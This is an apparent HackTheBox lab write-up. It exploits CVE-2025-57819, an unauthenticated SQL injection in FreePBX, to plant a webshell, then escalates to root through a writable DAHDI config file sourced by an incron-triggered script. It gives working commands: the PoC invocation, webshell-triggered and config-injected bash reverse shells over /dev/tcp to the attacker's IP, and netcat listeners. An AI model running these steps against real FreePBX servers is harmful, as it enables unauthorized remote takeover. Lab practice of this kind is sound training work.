HTB: Connected

2 min readSep 23, 2026

Exploiting CVE-2025–57819 in FreePBX, and abusing incron.d + DAHDI config for privilege escalation

Difficulty: Medium
Tags: Web Exploitation, FreePBX, Asterisk, incron.d, SQL Injection, RCE

Lets go!

Enumeration

bash

nmap -sC -sT 10.129.140.171

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http     → redirects to http://connected.htb/
443/tcp open  https

TLS cert shows commonName=pbxconnect. Add the host to /etc/hosts:

10.129.140.171 connected.htb

Visiting the site shows a FreePBX login page, the footer confirms FreePBX 16.0.40.7, a version affected by CVE-2025–57819 (patched in 16.0.89+).

Foothold: CVE-2025–57819

FreePBX is an open-source web GUI for managing the Asterisk PBX/VoIP platform. CVE-2025–57819 is a critical (CVSS 9.8–10.0), unauthenticated SQL injection in the endpoint module’s AJAX handler (brand parameter), reachable at /admin/ajax.php. It's on CISA's KEV list and was actively exploited in the wild. The PoC chains this into a stacked query that inserts a cron job writing a PHP webshell to disk.

PoC used: watchTowr-vs-FreePBX-CVE-2025-57819

bash

python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb

The script’s injected cron job drops a webshell at a randomized filename:

http://connected.htb/this-is-an-ioc-not-actually-watchTowr-<random-id>.php?cmd=<command>

Confirm RCE with a harmless command first:

bash

curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-<id>.php?cmd=hostname"

User Access

Start a listener:

bash

nc -lvnp 1234

Trigger the reverse shell through the webshell, URL-encoded (note: & must be %26, not left raw, or the query string truncates):

bash

curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-<id>.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/<YOUR_TUN0_IP>/1234%200%3E%261%27"

$ id
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)

Privilege Escalation

incron.d watches several files for changes and runs privileged scripts as root when they're modified. Check what's monitored:

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bash

cat /etc/incron.d/*

Relevant rule:

/var/spool/asterisk/sysadmin/dahdi_restart  IN_CLOSE_WRITE  /usr/sbin/sysadmin_dahdi_restart

asterisk can write to the watched trigger file. The restart script sources DAHDI config, so check what config files asterisk can also write:

bash

find / -type f -name "*.conf" -writable 2>/dev/null

Confirms /etc/dahdi/init.conf is writable.

Inject a reverse shell one-liner:

bash

echo "bash -c 'bash -i >& /dev/tcp/<YOUR_TUN0_IP>/4545 0>&1'" >> /etc/dahdi/init.conf

Listener (second terminal):

bash

nc -lvnp 4545

Trigger the incron watch, which runs sysadmin_dahdi_restart as root:

bash

echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart

The restart script sources init.conf as root, executing the injected payload — root shell lands on the second listener within a few seconds.

Root Access

$ id
uid=0(root) gid=0(root) groups=0(root)

You will find the root flag in the root directory. Voila!

Summary

StageTechniqueReconNmap → FreePBX 16.0.40.7 fingerprinted via footerFootholdCVE-2025–57819 unauth SQLi → cron-dropped webshell → RCE as asteriskPrivescasterisk-writable /etc/dahdi/init.conf + incron.d watch on dahdi_restart → root